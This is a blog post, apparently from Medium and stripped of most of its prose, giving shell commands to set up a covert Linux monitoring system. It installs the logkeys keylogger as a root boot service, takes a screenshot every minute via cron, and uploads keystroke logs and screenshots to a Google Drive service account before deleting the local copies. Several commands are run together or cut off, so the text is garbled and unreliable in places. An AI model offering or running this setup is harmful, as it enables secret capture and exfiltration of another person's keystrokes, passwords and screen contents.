How to create a Spy/Monitoring System in *nix system

Mayank Gupta
Dec 27, 2018 · 8 min read
Credits: Unsplash

Step 1: Setup key logger

sudo apt-get install logkeys
mkdir ~/Logs                             #create directory for logs
touch ~/Logs/keys.log #you can use any file name
sudo logkeys --start -o ~/Logs/keys.log #only works as root
tail --follow ~/Logs/keys.log
cd ~/Logs
sudo logkeys --kill
sudo logkeys -m --start -o keys.log
sudo -H nano /etc/init.d/logkeys
DAEMON_OPTS="-s -m /opt/sys/log/ -o /opt/sys/log/keys.log"
cd $logPath
logFileToRemove=`ls | grep "keys*"`
rm $logFileToRemove
touch keys.log
Ctrl + X
[Enter Key]
sudo service logkeys start

Step 2: Setting up the screenshot application

sudo apt-get install scrot

Step 3: Setting up Google Service Account for unhindered drive access

Step 4: Setting up Service Account’s GDrive

mkdir /opt/sys/src
cd /opt/sys/src
wget                # get the name and version of depspip install -r requirements.txt   # for current user
sudo su # shell as root user
pip install -r requirements.txt # install as root
#Don't provide path if you're in same directory
mkdir /opt/sys/toUploadtouch /opt/sys/toUpload/demoScreenshot.png
touch /opt/sys/toUpload/demokeyLog.log
python demokeyLog.log demoScreenshot.png

Step 5: Automation & Scheduling

dateTime=`date '+%F_%T'`cd $logPathsourceFile=`ls | grep "keys_20*"`mv $sourceFile $uploadSourcePath/$sourceFile.txtmv /home/<YOUR USERNAME>/tempCache.png $uploadSourcePath/$dateTime.png
#!/bin/bashlogPath="/opt/sys/log"cd $logPath
dateTime=`date '+%F_%T'`
cp $sourceFile $destinationFile
cd $uploadSourcePath
cd $srcPath
echo "Logs Renamed"
echo "Copied to upload directory"
photo=`ls $uploadSourcePath| grep "png"`
log=`ls $uploadSourcePath| grep "log"`
echo "variables set are:"echo $photo
echo $log
python $log $photo
echo "Python script executed"
cd $uploadSourcePath
rm *.png
rm *.txt
echo "files removed"
crontab -e
* *   *   *   *    export DISPLAY=:1 && scrot  ~/tempCache.png
sudo nano /etc/crontab
*  *    * * *   root    cd /opt/sys/src/  && ./

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade